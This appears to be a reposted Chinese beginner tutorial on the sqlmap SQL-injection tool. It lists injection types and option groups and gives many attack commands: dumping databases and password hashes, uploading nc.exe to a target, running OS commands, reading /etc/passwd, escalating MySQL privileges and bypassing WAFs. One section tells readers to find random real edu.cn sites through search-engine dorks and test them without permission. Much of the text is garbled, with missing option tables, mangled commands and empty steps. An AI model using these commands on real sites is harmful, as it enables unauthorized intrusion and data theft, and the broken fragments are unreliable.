热门推荐
SQLMAP教程,零基础入门到精通,一篇就够了!
2024-10-31 20:06

一、sqlmap简介

SQLMAP教程,零基础入门到精通,一篇就够了!

sqlmap支持MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库的各种安全漏洞检测。

sqlmap支持五种不同的注入模式

  • 基于布尔的盲注,即可以根据返回页面判断条件真假的注入

  • 基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断

  • 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中

  • 联合查询注入,可以使用union的情况下的注入

  • 堆查询注入,可以同时执行多条语句的执行时的注入

二、SQL使用参数详解

本文以SQLmap 1.1.8-8版本为例,对其所有参数进行详细的分析和讲解,便于在使用时进行查询。

用法: sqlmap.py [选项]

选项
目标

在这些选项中必须提供至少有一个确定目标

请求

这些选项可以用来指定如何连接到目标URL

–method=METHOD 强制使用给定的HTTP方法(例如put

sqlmap.py -u"http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b"–eval=“import hashlib;hash=hashlib.md5(id).hexdigest()”

优化

这些选项可用于优化sqlmap性能

注入

这些选项可用于指定要测试的参数、提供自定义注入有效载荷和可选的篡改脚本

检测

这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容

技巧

这些选项可用于调整具体的SQL注入测试

指纹
枚举

这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行自定义的SQL语句

暴力

这些选项可以被用来运行暴力检查

用户自定义函数注入

这些选项可以用来创建用户自定义函数

访问文件系统

这些选项可以被用来访问后端数据库管理系统的底层文件系统

在kali中将/software/nc.exe文件上传到C:/WINDOWS/Temp下

python sqlmap.py -u"http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write"/software/nc.exe" --file-dest “C:/WINDOWS/Temp/nc.exe” -v1

操作系统访问

这些选项可以用于访问后端数据库管理系统的底层操作系统

linux查看当前用户命令

sqlmap.py -u"http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --os-cmd id -v1

Windows注册表访问

这些选项可以被用来访问后端数据库管理系统Windows注册表

一般选项

这些选项可以用来设置一些一般的工作参数

其他

三、实际利用

检测和利用SQL注入

1.手工判断是否存在漏洞

对动态网页进行安全审计,通过接受动态用户提供的GET、POST、cookie参数值、User-Agent请求头。

原始网页:http://192.168.136.131/sqlmap/mysql/get_int.php?id=1

构造url1:http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=1

构造url2:http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=2

如果url1访问结果跟原始网页一致,而url2跟原始网页不一致,有出错信息或者显示内容不一致,则证明存在SQL注入。

2. sqlmap自动检测

检测语法:sqlmap.py -u http://192.168.136.131/sqlmap/mysql/get_int.php?id=1

技巧:在实际检测过程中,sqlmap会不停的询问,需要手工输入Y/N来进行下一步操作,可以使用参数“–batch”命令来自动答复和判断。

3. 寻找和判断实例

通过百度对“inurl:news.asp?id=site:edu.cn”、“inurl:news.php?id= site:edu.cn”、“inurl:news.aspx?id=site:edu.cn”进行搜索,搜索news.php/asp/aspx,站点为edu.cn,如图1所示。随机打开一个网页搜索结果,如图所示,如果能够正常访问,则复制该URL地址

搜索目标

测试网页能否正常访问

将该url使用sqlmap进行注入测试,如图3所示,测试结果可能存在SQL注入,也可能不存在SQL注入,存在则可以进行数据库名称,数据库表以及数据的操作。本例中是不存在SQL注入漏洞

检测URL地址是否存在漏洞

4. 批量检测

将目标url搜集并整理为txt文件,如图4所示,所有文件都保存为tg.txt,然后使用“sqlmap.py-m tg.txt”,注意tg.txt跟sqlmap在同一个目录下

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

批量整理目标地址

直接连接数据库

数据库相关操作

1.列数据库信息:–dbs

2.web当前使用的数据库–current-db

3.web数据库使用账户–current-user

4.列出sqlserver所有用户 --users

5.数据库账户与密码 --passwords

6.指定库名列出所有表 -D database --tables

-D:指定数据库名称

7.指定库名表名列出所有字段 -D antian365-T admin --columns

-T:指定要列出字段的表

8.指定库名表名字段dump出指定字段

-D secbang_com -T admin -C id,password ,username --dump

-D antian365 -T userb -C"email,Username,userpassword" --dump

可加双引号,也可不加双引号。

9.导出多少条数据

-D tourdata -T userb -C"email,Username,userpassword" --start 1 --stop 10 --dump

参数

–start:指定开始的行

–stop:指定结束的行

此条命令的含义为:导出数据库tourdata中的表userb中的字段(email,Username,userpassword)中的第1到第10行的数据内容

四、SQLMAP实用技巧

1. mysql的注释方法进行绕过WAF进行SQL注入

(1)修改C:Python27sqlmap amperhalfversionedmorekeywords.py

return match.group().replace(word,“” % word)

(2)修改C:Python27sqlmapxmlqueries.xml

<castquery=“convert(%s,CHAR)”/>

(3)使用sqlmap进行注入测试

sqlmap.py -u"http:/param2/value2/"

3. 列举并破解密码哈希值

当前用户有权限读取包含用户密码的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。

sqlmap.py -u"http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v1

4. 获取表中的数据个数

sqlmap.py -u"http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -Dtestdb

5.对网站secbang.com进行漏洞爬去

sqlmap.py -u “http://www.secbang.com”–batch --crawl=3

6.基于布尔SQL注入预估时间

sqlmap.py -u “http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1”-b --eta

7.使用hex避免字符编码导致数据丢失

sqlmap.py -u “http://192.168.48.130/pgsql/get_int.php?id=1” --banner --hex -v 3 --parse-errors

8.模拟测试手机环境站点

python sqlmap.py -u"http://www.target.com/vuln.php?id=1" --mobile

9.智能判断测试

sqlmap.py -u “http://www.antian365.com/info.php?id=1”–batch --smart

10.结合burpsuite进行注入

(1)burpsuite抓包,需要设置burpsuite记录请求日志

sqlmap.py -r burpsuite抓包.txt

(2)指定表单注入

sqlmap.py -u URL --data“username=a&password=a”

11.sqlmap自动填写表单注入

自动填写表单

12.读取linux下文件

sqlmap.py-u “url” --file /etc/password

13.延时注入

sqlmap.py -u URL --technique -T–current-user

14. sqlmap 结合burpsuite进行post注入

结合burpsuite来使用sqlmap

(1)浏览器打开目标地址http://www.antian365.com

(2)配置burp代理(127.0.0.1:8080)以拦截请求

(3)点击登录表单的submit按钮

(4)Burp会拦截到了我们的登录POST请求

(5)把这个post请求复制为txt, 我这命名为post.txt 然后把它放至sqlmap目录下

(6)运行sqlmap并使用如下命令

15.sqlmap cookies注入

sqlmap.py -u “http://127.0.0.1/base.PHP”–cookies “id=1” –dbs –level 2

默认情况下SQLMAP只支持GET/POST参数的注入测试,但是当使用–level 参数且数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer。可以通过burpsuite等工具获取当前的cookie值,然后进行注入

16.mysql提权

(1)连接mysql数据打开一个交互shell:

(2)利用sqlmap上传lib_mysqludf_sys到MySQL插件目录:

17.执行shell命令

18.延时注入

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

    以上就是本篇文章【SQLMAP教程,零基础入门到精通,一篇就够了!】的全部内容了,欢迎阅览 ! 文章地址:http://dfvalve.xrbh.cn/quote/1066.html 
     行业      资讯      企业新闻      行情      企业黄页      同类资讯      网站地图      返回首页 迅博思语资讯移动站 http://keant.xrbh.cn/ , 查看更多